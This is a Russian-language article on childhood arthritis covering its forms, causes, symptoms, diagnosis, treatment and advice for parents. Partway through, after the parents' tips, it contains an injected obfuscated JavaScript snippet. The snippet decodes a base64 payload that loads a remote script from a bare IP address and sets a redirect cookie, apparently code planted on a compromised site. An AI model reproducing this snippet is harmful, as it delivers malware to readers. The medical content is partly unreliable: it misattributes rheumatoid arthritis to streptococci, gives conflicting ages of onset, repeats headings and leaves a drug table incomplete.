Артрит суставов у детей — симптомы и лечение

Ювенильный артрит у детей – известное заболевание, которое затрагивает не только пациентов старшего возраста. Диагноз никого не обходит стороной, а проявляется в возрасте от года до 4 лет. Причин такой проблемы у детей множество, в основном это инфекционные заболевания, а симптомы очень болезненны и тяжело переносятся малышами.

Причины ювенильного артрита у детей

Детский ювенильный артрит (также — ревматоидный, идиопатический) — это мультифакторное заболевание. Его возникновение ученые связывают с условиями окружающей среды, генетическими особенностями и даже инфекциями. Однозначно установить причины ювенильного артрита у детей не удалось до сих пор, однако выявлена определенная связь с наследственностью и историей болезней пациента. Артрит чаще возникает у детей, в семьях которых уже фиксировались ревматоидные заболевания.

Ювенильный артрит у детей относят к группе аутоиммунных заболеваний, поскольку он оказывает системное влияние на организм ребенка. Иммунные клетки больного ошибочно воспринимают его собственные клетки как “вражеские”, болезнетворные агенты, и атакуют их. При этом целостность соединительной ткани нарушается. Чаще всего страдают суставы, однако болезнь активно влияет на глаза, сердце, легкие, почки, пищеварительную и другие системы организма.

Ювенильный артрит у подростков и детей может “спать” годами, дожидаясь иммунного скачка, поэтому его важно отличать от реактивного и других видов артрита, которые могут обостряться в детском и подростковом возрасте вследствие болезней.

Особенности заболевания

Артрит у детей представляет собой воспалительный процесс в суставах, который ведет к их разрушению. Заболевание очень серьезное, так как вовремя невылеченная патология может привести к инвалидности пациента. Воспаление в суставах может проявляться как в острой, так и в хронической форме. Под этим названием выделяют несколько разновидностей суставных заболеваний.

Классификация артритов у детей

Причины возникновения патологии бывают разные. В связи с этим выделяют и разные формы заболевания у детей.

  • Ревматоидный.
  • Инфекционный.
  • Реактивный.
  • Ювенильный (идиопатический).
  • Аллергический.

Ревматоидный развивается в связи с перенесенной инфекцией и проникновением в организм стрептококков. Чаще всего это происходит после перенесенной ангины или фарингита. Поражает суставы симметрично. Патология выражается в сильной боли и ограничением в движении.

Инфекционный артрит у детей проявляется в результате заражения вирусной, грибковой или бактериальной инфекции. Вредные микроорганизмы поражают сустав через микротравму с лимфой или кровью.

Реактивный развивается после перенесенной внесуставной инфекции. Проявляется такой артрит у ребенка 5 лет и младше. Осложнением заболевания может быть поражение глаз и сердца. У заболевшего снижается уровень гемоглобина.

Ювенильный носит хронический характер. Он может поразить лишь один сустав либо носить системный характер и затронуть даже некоторые органы ребенка. Чаще всего возникает в подростковом возрасте 14−16 лет. Причина такого вида артрита не выявлена. Заболевание приводит к увеличению селезенки и печени, больной покрывается сыпью.

Аллергический артрит у детей встречается редко. Представляет собой осложнение после сильной аллергической реакции организма. Обычно к аллергическому воспалению суставов присоединяется еще и инфекция, и заболевание перетекает в инфекционно-аллергический артрит у детей. Лечение требует сильнейшей антигистаминной терапии.

Этиология детского артрита

Ученые не могут привести точные причины развития данной патологии. Есть ряд провоцирующих факторов, которые дают толчок к развитию заболевания.

  • Травмы суставов.
  • Нарушение обмена веществ.
  • Инфекционные и вирусные заболевания.
  • Высокая нагрузка на суставы.
  • Аллергия.
  • Проблемы нервной системы.
  • Сильное переохлаждение организма.
  • Патологические иммунные реакции.
  • Нехватка в организме витаминов и микроэлементов.
  • Плохое питание.
  • Отравление и интоксикация организма;.
  • Генетическая предрасположенность.
  • Воспалительные процессы.

Симптомы патологии

У каждого вида артрита свои признаки проявления. Существует ряд общих симптомов заболевания, которые представляют клиническую картину болезни:

  • Болезненные ощущения в любой части тела (при поражении тазобедренных суставов ребенку больно сидеть).
  • Снижение или полная потеря аппетита.
  • Повышение температуры в области пораженного сустава.
  • Лихорадка.
  • Боль в суставах в утреннее время, сопровождающаяся припухлостью в пораженном месте.
  • Хруст в больных суставах.
  • При поражении тазобедренных суставов и колен — затруднение в движении.
  • При реактивном артрите проявляется снижение остроты зрения или его полная потеря.
  • Головная боль.
  • Тошнота и рвота.
  • Увеличение лимфатических узлов, печени и селезенки.
  • Анализ крови показывает повышение СОЭ, лейкоцитов, тромбоцитов и лимфоцитов.
  • Возможны нервные расстройства.

Лечение

В первую очередь лечение артрита у детей направлено на выявление причины заболевания и ее устранение. Если болезнь спровоцировала инфекция, то врач назначит антибиотики, или противовирусные, противогрибковые препараты, которые могут убить возбудителя. Для того, чтобы снять симптомы назначают нестероидные противовоспалительные средства. Иммунодепрессанты назначают для того, чтобы иммунитет перестал вырабатывать антитела, вызывающие воспаление в суставе. В некоторых случаях могут быть назначены гормональные и иммуномодулирующие препараты. Важную роль в лечение артрита, у ребенка, играет физиотерапия, массаж и лечебная физкультура. При любых видах заболевания детям показана езда на велосипеде и плавание. В период ремиссии рекомендуется санаторно-курортное лечение. Самолечением у детей заниматься нельзя, так как любой вид заболевания может давать серьезные осложнения и оставить отпечаток на всю жизнь. Артрит тяжело диагностировать на ранних стадиях и сложно лечить на запущенных, поэтому необходимо соблюдать все методы профилактики и регулярно наблюдать у врачей, особенно детям, имеющим наследственную предрасположенность.

 Советы для родителей

Родители, чей ребенок болен артритом, могут облегчить состояние своего ребенка. Для этого необходимо знать несколько важных пунктов и причин заболевания:

  1. Рацион больного ребенка должен быть грамотно подобран, важно, чтобы он был полноценным. В ежедневном меню должны присутствовать овощи, фрукты, бобовые и рыба в разных вариациях. Природный противовоспалительный эффект может предоставить вишневый сок, который можно пить в сутки два стакана. Исключить необходимо полуфабрикаты, консерванты и искусственные красители. Также ограничению должны подвергнуться молочные продукты, красное мясо и сахар.
  2. Ребенка, болеющего артритом, необходимо проверить на наличие пищевой аллергии. Согласно некоторым данным, детский артрит может быть облегчен путем исключения аллергенов.
  3. Снять воспаление могут жирные кислоты, которые содержатся в рыбьем жире, льняном масле и семенах. По поводу их приема необходимо посоветоваться со специалистом. А при появлении побочных эффектов, отражающихся на желудочно-кишечном тракте, стоит уменьшить рекомендуемую дозировку или отменить вообще. Весьма полезен рыбий жир, принимать его следует исходя из веса ребенка. Расчет такой – 1 грамм жира на 25 кг веса.

Придерживаясь данных советов и своевременного лечения, можно на длительное время избавиться от детского артрита. И помните, все методы лечения – медикаментозные и народные, должны согласовываться со специалистом. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Диагностика

Выявление заболевания представляет собой сложную задачу из-за множества вызывающих его причин. Точная диагностика артрита у детей состоит из следующих мероприятий:

  • Беседа с родителями или маленьким пациентом для сбора информации (общий и семейный анамнез, жалобы, сопутствующие патологии);
  • Визуальный осмотр и пальпация пораженных суставов;
  • Выявление связи с перенесенными травмами или заболеваниями (бактериальный посев кала, анализ крови на содержание антител к различным возбудителям);
  • Общий анализ крови и мочи для подтверждения признаков воспаления;
  • Инструментальное обследование сустава (УЗИ, МРТ, рентгенография);
  • Пункция или биопсия пораженных тканей, анализ синовиальной жидкости;
  • ЭКГ или УЗИ сердца при необходимости.
Диагностика

Основной трудностью в выявлении патологии и последующем назначении лечения является то, что ни один из перечисленных методов не позволяет поставить диагноз со 100% точностью. Наиболее характерными признаками артрита у детей являются подтвержденные рентгенографически деформации суставов, костные эрозии и проявления остеопороза в пораженных областях.

Диагностика проблемы у ребенка

Как проводится восстановление?

Массажные процедуры улучшат кровоснабжение.

Реабилитационные ресурсы повышают эффективность терапии, они включают массаж, физиопроцедуры, ЛФК, санаторно-курортное лечение. В результате восстанавливается микроциркуляция, нормализуются обменные процессы, улучшается поступление полезных веществ в суставную ткань, снижается патологическое напряжение. Физиопроцедуры назначают на стадии стихания острого артрита, они включают такие методы, как:

  • ультразвук;
  • электрофорез;
  • парафинотерапия;
  • ультразвуковая терапия;
  • УВЧ;
  • лазеротерапия;
  • лечение грязями.

Лечение артрита у детей

Борьба с воспалением в суставах требует комплексного подхода под контролем ревматолога. Схемы лечения включают в себя различные группы препаратов:

  1. Антибактериальная терапия для борьбы с ревматическим процессом.
  2. Лечение воспаления препаратами группы НПВС.
  3. Кортикостероидные гормоны (пульс-терапия, внутрисуставное введение).
  4. Иммунодепрессанты, иммуномодуляторы.
  5. При аллергической природе болезни назначают антигистаминные препараты.

Лечение туберкулезной инфекции в суставах осуществляет фтизиатр.

Кроме назначения медикаментов пациентам рекомендуют ограничение подвижности суставов, ортезы.

Лечение артрита у детей

Местно подключают физиолечение:

  • магнитотерапия;
  • ультразвук;
  • электрофорез;
  • бальнеолечение.

Детям рекомендуют санаторно-курортное лечение в местности с сухим и жарким климатом (Крым, Сочи, Кисловодск).

Важно!

Мамы юных пациентов часто интересуются, как лечить народными средствами, активно ищут отзывы о применении тех или иных методов. Ревматологи предупреждают, что самостоятельное назначение средств с недоказанной эффективностью не принесет пользы, а лишь приведет к потере времени. Последствия такого «лечения» могут быть плачевны.

Читайте также:  Артрит лечение народными средствами в домашних условиях

Способы лечения

Выделяют 2 основных способа лечения.

Медикаментозное лечение

Лечение ювенильного хронического артрита основывается на сочетании 4 групп препаратов разного действия.

Название группы препаратов

Функциональное назначение препарата

1

Нестероидные противовоспалительные препараты (НПВП)

Направлены на снятие болевых ощущений и воспаления сустава, позволяют восстановить его функциональность

2

Глюкокортикоиды (ГК)

3

Иммунодепрессанты

Приостанавливают деструкцию сустава

4

Биологические агенты

Способы лечения

Прием лекарств должен происходить и в периоды ремиссии, дабы не спровоцировать обострение артрита.

Немедикаментозное лечение

Является не менее важным, чем медикаментозная терапия. Данная группа методов включает:

  • соблюдение двигательного режима;
  • диету;
  • ежедневное выполнение упражнений лечебной физкультуры;
  • ортопедическую коррекцию с использованием лонгет, шин, стелек, ортезов.
  • физиотерапию.

Восстановление и профилактика

Диагноз «Артрит реактивный» у ребенка — это не повод для паники. Данное заболевание имеет в абсолютном большинстве случаев благоприятный прогноз, позволяя вылечить ребенка от него навсегда. Но чтобы болезнь не появилась и не возвращалась, необходимо соблюдать профилактические меры:

  • любое инфекционное, вирусное или воспалительное заболевание ребенка должно быть как можно раньше диагностировано и качественно пролечено;
  • очаги инфекции должны быть санированы;
  • иммунитет ребенка должен постоянно укрепляться при помощи закаливающих процедур, правильного питания и образа жизни.

Реактивный артрит, несомненно, серьезное испытание для ребенка или взрослого в любом возрасте. Но чаще всего оно полностью излечивается. Проблема хронического воспаления возникает лишь при синдроме Рейтера, так как хламидиоз трудно поддается качественному лечению. К тому же сопутствующие заболевания, в частности, иммунодефицит, становятся причиной тяжелого течения болезни с частыми рецидивами.

Здоровье и полноценная жизнь ребенка полностью зависят от родителей. Внимательное отношение к малышу или подростку помогут вовремя выявить имеющиеся проблемы со здоровьем, провести качественное лечение и восстановительные меры после болезни. Очень важную роль играет профилактика — личная гигиена, укрепление иммунитета, здоровье домашних животных, определенные нормы общественного поведения помогут избежать многих болезней, а значит, позволят ребенку стать счастливым, здоровым, успешным человеком.

Специфика лечения

Терапия реактивного артрита содержит такие моменты:

  • ликвидация инфекции, из-за которой возник артрит;
  • борьба с воспалениями.

На время лечения нужно, чтобы поврежденные суставы были в состоянии покоя. Для уменьшения болей и ликвидации воспаления, как правило, предлагают противовоспалительные лекарства нестероидного типа, а если необходимо – введение стероидных гормонов прямо в сустав.

Если возникнет тяжелый вариант реактивного артрита, предлагается применить антиревматические лекарства. Если у ребенка диагностируют хламидийную инфекцию, то необходимо антибактериальное лечение по рекомендации врача.

Специфика лечения

Реактивный артрит может продолжаться до 12 месяцев. Если недуг окажется легкого типа, то ведущие признаки могут быстро исчезнуть, стоит только приступить к лечению.

В ходе реактивного артрита не возникает необратимых болезней, а когда завершится артрит – работа сустава восстанавливается до нормального состояния. При новом заражении инфекцией может быть рецидив болезни.

Ювенильный ревматоидный артрит – постоянный недуг суставов, причину появления которого ученые пока не выявили. Первые пароксизмы недомогания, как правило, начинаются у детей (1 до 4 лет), но могут быть признаки болезни даже у подростков.